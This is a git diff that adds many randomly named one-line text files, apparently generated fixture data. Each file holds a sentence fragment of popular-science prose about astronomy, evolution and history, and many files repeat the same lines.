--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/rrsetvxfsfwk.txt
@@ -0,0 +1 @@
+the universe. It is, in a way, the opposite of Chaos. It implies the deep interconnectedness
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/scgpujrg.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/scgpujrg.txt
new file mode 100644
index 0000000..3bc8207
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/scgpujrg.txt
@@ -0,0 +1 @@
+simply enumerate examples of this theorem; he developed a method of mathematical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/smaprezedgcsypijjw.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/smaprezedgcsypijjw.txt
new file mode 100644
index 0000000..9e4411a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/smaprezedgcsypijjw.txt
@@ -0,0 +1 @@
+In uniform circular motion, an equal angle or fraction of the arc of a circle is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/sufscwgkzbqhwyycdtwiycbh.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/sufscwgkzbqhwyycdtwiycbh.txt
new file mode 100644
index 0000000..322bb61
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/sufscwgkzbqhwyycdtwiycbh.txt
@@ -0,0 +1 @@
+planetary nebulae from high surface temperatures to its ultimate state, a dark and dead
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/udvenpwpzzdrhcn.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/udvenpwpzzdrhcn.txt
new file mode 100644
index 0000000..71b8044
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/udvenpwpzzdrhcn.txt
@@ -0,0 +1 @@
+sugar beet in the nineteenth century; and the mink is still in the earliest stages of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/ulxaixgftbtpqhupbuzvzx.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/ulxaixgftbtpqhupbuzvzx.txt
new file mode 100644
index 0000000..2857635
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/ulxaixgftbtpqhupbuzvzx.txt
@@ -0,0 +1 @@
+carbohydrates and oxygen. The cells in a drop of blood contain a different sort of molecular
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/wkqvvdovltp.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/wkqvvdovltp.txt
new file mode 100644
index 0000000..b84eaae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/wkqvvdovltp.txt
@@ -0,0 +1 @@
+elegant network of canals carried the life-giving fluid all over the planet.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/ylrfwgtblb.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/ylrfwgtblb.txt
new file mode 100644
index 0000000..f380751
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/ylrfwgtblb.txt
@@ -0,0 +1 @@
+For unknown ages after the explosive outpouring of matter and energy of the Big
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/dficxxpusqljnmkmfqvlj.txt b/big_zip/big-zip-files/folder_usagrfaixh/dficxxpusqljnmkmfqvlj.txt
new file mode 100644
index 0000000..3553a78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/dficxxpusqljnmkmfqvlj.txt
@@ -0,0 +1 @@
+chemistry and evolutionary biology, the principal uncertainty comes down to economics
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/fbfagvegrxlzsy.txt b/big_zip/big-zip-files/folder_usagrfaixh/fbfagvegrxlzsy.txt
new file mode 100644
index 0000000..732b49c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/fbfagvegrxlzsy.txt
@@ -0,0 +1 @@
+complex organisms rather than from simpler ones. Indeed, it is hard to imagine a still
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_baeoifykrqp.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_baeoifykrqp.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_baeoifykrqp.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_bjqwmlfwctty.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_bjqwmlfwctty.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_bjqwmlfwctty.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_caphqhxr.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_caphqhxr.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_caphqhxr.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_drljkcmgalaxv.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_drljkcmgalaxv.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_drljkcmgalaxv.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_efqrihci.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_efqrihci.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_efqrihci.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_hmfuubvq.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_hmfuubvq.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_hmfuubvq.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_jlopcuehgpypvuaqufwkclqn.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_jlopcuehgpypvuaqufwkclqn.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_jlopcuehgpypvuaqufwkclqn.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_kmfghwnfhtrbavfoztcz.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_kmfghwnfhtrbavfoztcz.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_kmfghwnfhtrbavfoztcz.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_mhbinnbvfml.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_mhbinnbvfml.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_mhbinnbvfml.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_ouqqysqatms.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_ouqqysqatms.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_ouqqysqatms.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_oymfszimubgiu.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_oymfszimubgiu.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_oymfszimubgiu.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_pjviyfewqvgnymzcudkynl.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_pjviyfewqvgnymzcudkynl.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_pjviyfewqvgnymzcudkynl.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_rmnkwlguvxcqibaxsh.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_rmnkwlguvxcqibaxsh.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_rmnkwlguvxcqibaxsh.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_sgoclmejkefwcbttaiuakj.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_sgoclmejkefwcbttaiuakj.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_sgoclmejkefwcbttaiuakj.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_tesxseasmvvjzjyhtjf.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_tesxseasmvvjzjyhtjf.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_tesxseasmvvjzjyhtjf.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_vlghjnilasknn.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_vlghjnilasknn.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_vlghjnilasknn.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_vtxzuxacijb.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_vtxzuxacijb.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_vtxzuxacijb.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_wgneqeoykgxkrb.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_wgneqeoykgxkrb.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_wgneqeoykgxkrb.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_wurfgfzlboavfybqsmok.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_wurfgfzlboavfybqsmok.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_wurfgfzlboavfybqsmok.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_xacuetehypbvmelmjxolwlf.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_xacuetehypbvmelmjxolwlf.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_xacuetehypbvmelmjxolwlf.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_yupgoznevlvss.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_yupgoznevlvss.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_yupgoznevlvss.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/file_zbgpdirzmujbsj.txt b/big_zip/big-zip-files/folder_usagrfaixh/file_zbgpdirzmujbsj.txt
new file mode 100644
index 0000000..d0edbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/file_zbgpdirzmujbsj.txt
@@ -0,0 +1 @@
+The global balance of terror is a very delicate balance. It depends on things not going
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/hsevbkjyxplzmbtiyixcw.txt b/big_zip/big-zip-files/folder_usagrfaixh/hsevbkjyxplzmbtiyixcw.txt
new file mode 100644
index 0000000..8f89ada
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/hsevbkjyxplzmbtiyixcw.txt
@@ -0,0 +1 @@
+planets might be inhabited: ‘Should we allow the planets nothing but vast deserts . . . and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/hysaxzqvhydifeaism.txt b/big_zip/big-zip-files/folder_usagrfaixh/hysaxzqvhydifeaism.txt
new file mode 100644
index 0000000..a181898
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/hysaxzqvhydifeaism.txt
@@ -0,0 +1 @@
+role in the original design and organization of the Cosmos visuals), John Allison, Adolf
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/kilnejduxvalv.txt b/big_zip/big-zip-files/folder_usagrfaixh/kilnejduxvalv.txt
new file mode 100644
index 0000000..48c3b57
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/kilnejduxvalv.txt
@@ -0,0 +1 @@
+always had rules. Rules are sacred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/nmjkxaortoafeyubyqsjihm.txt b/big_zip/big-zip-files/folder_usagrfaixh/nmjkxaortoafeyubyqsjihm.txt
new file mode 100644
index 0000000..8ada01d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/nmjkxaortoafeyubyqsjihm.txt
@@ -0,0 +1 @@
+from us, whoever we are, is somehow strange or bizarre, to be distrusted or loathed. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/nnthujys.txt b/big_zip/big-zip-files/folder_usagrfaixh/nnthujys.txt
new file mode 100644
index 0000000..1372b9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/nnthujys.txt
@@ -0,0 +1 @@
+that fairly simple mathematical laws pervade all of Nature; that the same rules apply on
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/qjvqorrdoiiqbaq.txt b/big_zip/big-zip-files/folder_usagrfaixh/qjvqorrdoiiqbaq.txt
new file mode 100644
index 0000000..abb7947
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/qjvqorrdoiiqbaq.txt
@@ -0,0 +1 @@
+young men who applied but were turned down. One of them was a Corsican artillery officer named Napoleon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/rnvwgjpltufb.txt b/big_zip/big-zip-files/folder_usagrfaixh/rnvwgjpltufb.txt
new file mode 100644
index 0000000..aca16f6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/rnvwgjpltufb.txt
@@ -0,0 +1 @@
+destroyed a high civilization of a million people. The Aztecs had never seen a horse; there
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/soiqbbgmbhmvfhhxac.txt b/big_zip/big-zip-files/folder_usagrfaixh/soiqbbgmbhmvfhhxac.txt
new file mode 100644
index 0000000..f2b3de1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/soiqbbgmbhmvfhhxac.txt
@@ -0,0 +1 @@
+- Isaac Newton, Optics
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/spivoewgritiavria.txt b/big_zip/big-zip-files/folder_usagrfaixh/spivoewgritiavria.txt
new file mode 100644
index 0000000..870ca01
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/spivoewgritiavria.txt
@@ -0,0 +1 @@
+There is, I think, a kind of recapitulation that occurs in our individual intellectual
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/swyneyqmtjmhy.txt b/big_zip/big-zip-files/folder_usagrfaixh/swyneyqmtjmhy.txt
new file mode 100644
index 0000000..8946e93
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/swyneyqmtjmhy.txt
@@ -0,0 +1 @@
+greatest theoretician. Each knew that, alone, he would be unable to achieve the synthesis of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/thgjcbsxfznzkcljocfvp.txt b/big_zip/big-zip-files/folder_usagrfaixh/thgjcbsxfznzkcljocfvp.txt
new file mode 100644
index 0000000..c55366a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/thgjcbsxfznzkcljocfvp.txt
@@ -0,0 +1 @@
+any raw material? If you say He made this first, and then the world, you are faced
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/utoxxqtfcihsracw.txt b/big_zip/big-zip-files/folder_usagrfaixh/utoxxqtfcihsracw.txt
new file mode 100644
index 0000000..cb978a9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/utoxxqtfcihsracw.txt
@@ -0,0 +1 @@
+constructed one five meters long. His discoveries with the telescope would by themselves
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/xahsyfrmpyjykfzjc.txt b/big_zip/big-zip-files/folder_usagrfaixh/xahsyfrmpyjykfzjc.txt
new file mode 100644
index 0000000..b0ead53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/xahsyfrmpyjykfzjc.txt
@@ -0,0 +1 @@
+Pharaoh, and the stopping of the Earth from rotating on Joshua’s command. It also caused,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_usagrfaixh/xmvxpffjqf.txt b/big_zip/big-zip-files/folder_usagrfaixh/xmvxpffjqf.txt
new file mode 100644
index 0000000..a9fd65f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_usagrfaixh/xmvxpffjqf.txt
@@ -0,0 +1 @@
+energy source for the origin and evolution of life on nearby planets.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/file_dsetdphnfykigimtityheah.txt b/big_zip/big-zip-files/folder_uxvqunebny/file_dsetdphnfykigimtityheah.txt
new file mode 100644
index 0000000..9508ed1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/file_dsetdphnfykigimtityheah.txt
@@ -0,0 +1 @@
+Ptolemy believed that the Earth was at the center of the universe; that the Sun,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/file_euldwpyx.txt b/big_zip/big-zip-files/folder_uxvqunebny/file_euldwpyx.txt
new file mode 100644
index 0000000..9508ed1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/file_euldwpyx.txt
@@ -0,0 +1 @@
+Ptolemy believed that the Earth was at the center of the universe; that the Sun,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/file_ijmnrxtnsnm.txt b/big_zip/big-zip-files/folder_uxvqunebny/file_ijmnrxtnsnm.txt
new file mode 100644
index 0000000..9508ed1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/file_ijmnrxtnsnm.txt
@@ -0,0 +1 @@
+Ptolemy believed that the Earth was at the center of the universe; that the Sun,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/file_jdnjgeasyh.txt b/big_zip/big-zip-files/folder_uxvqunebny/file_jdnjgeasyh.txt
new file mode 100644
index 0000000..9508ed1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/file_jdnjgeasyh.txt
@@ -0,0 +1 @@
+Ptolemy believed that the Earth was at the center of the universe; that the Sun,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/file_lioelmdnrtcmzfqzw.txt b/big_zip/big-zip-files/folder_uxvqunebny/file_lioelmdnrtcmzfqzw.txt
new file mode 100644
index 0000000..9508ed1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/file_lioelmdnrtcmzfqzw.txt
@@ -0,0 +1 @@
+Ptolemy believed that the Earth was at the center of the universe; that the Sun,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/file_nzplyfns.txt b/big_zip/big-zip-files/folder_uxvqunebny/file_nzplyfns.txt
new file mode 100644
index 0000000..9508ed1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/file_nzplyfns.txt
@@ -0,0 +1 @@
+Ptolemy believed that the Earth was at the center of the universe; that the Sun,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/file_rvatvbeqpwjmnmdsbokedwp.txt b/big_zip/big-zip-files/folder_uxvqunebny/file_rvatvbeqpwjmnmdsbokedwp.txt
new file mode 100644
index 0000000..9508ed1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/file_rvatvbeqpwjmnmdsbokedwp.txt
@@ -0,0 +1 @@
+Ptolemy believed that the Earth was at the center of the universe; that the Sun,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/file_smnudsdksg.txt b/big_zip/big-zip-files/folder_uxvqunebny/file_smnudsdksg.txt
new file mode 100644
index 0000000..9508ed1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/file_smnudsdksg.txt
@@ -0,0 +1 @@
+Ptolemy believed that the Earth was at the center of the universe; that the Sun,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/file_vvjuhetymjzhkh.txt b/big_zip/big-zip-files/folder_uxvqunebny/file_vvjuhetymjzhkh.txt
new file mode 100644
index 0000000..9508ed1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/file_vvjuhetymjzhkh.txt
@@ -0,0 +1 @@
+Ptolemy believed that the Earth was at the center of the universe; that the Sun,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/file_ypcbjzvsicglaeyhnfczeow.txt b/big_zip/big-zip-files/folder_uxvqunebny/file_ypcbjzvsicglaeyhnfczeow.txt
new file mode 100644
index 0000000..9508ed1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/file_ypcbjzvsicglaeyhnfczeow.txt
@@ -0,0 +1 @@
+Ptolemy believed that the Earth was at the center of the universe; that the Sun,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_bhsryeilfnwheaxtx.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_bhsryeilfnwheaxtx.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_bhsryeilfnwheaxtx.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_dbsiaidycjl.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_dbsiaidycjl.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_dbsiaidycjl.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_dfjgoagbcderywznpueprf.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_dfjgoagbcderywznpueprf.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_dfjgoagbcderywznpueprf.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_foldaubemmbxfef.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_foldaubemmbxfef.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_foldaubemmbxfef.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_frgzfgzbiyuvaqupwelzao.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_frgzfgzbiyuvaqupwelzao.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_frgzfgzbiyuvaqupwelzao.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_gxmqvkfunpyq.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_gxmqvkfunpyq.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_gxmqvkfunpyq.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_heyulyfejnlglprqa.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_heyulyfejnlglprqa.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_heyulyfejnlglprqa.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_hshbomekefmfgyamonekbjto.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_hshbomekefmfgyamonekbjto.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_hshbomekefmfgyamonekbjto.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_iikvbealnbtfwfrxwvyi.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_iikvbealnbtfwfrxwvyi.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_iikvbealnbtfwfrxwvyi.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_jhwsdbjchp.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_jhwsdbjchp.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_jhwsdbjchp.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_koydmlnbvoljzngpdwxmsy.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_koydmlnbvoljzngpdwxmsy.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_koydmlnbvoljzngpdwxmsy.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_mhefarxitvoucjjjchlczvz.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_mhefarxitvoucjjjchlczvz.txt
new file mode 100644
index 0000000..60cf42b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/file_mhefarxitvoucjjjchlczvz.txt
@@ -0,0 +1 @@
+information could be sent and received at very little cost; fast, so an interstellar dialogue is
\ No newline at end of file
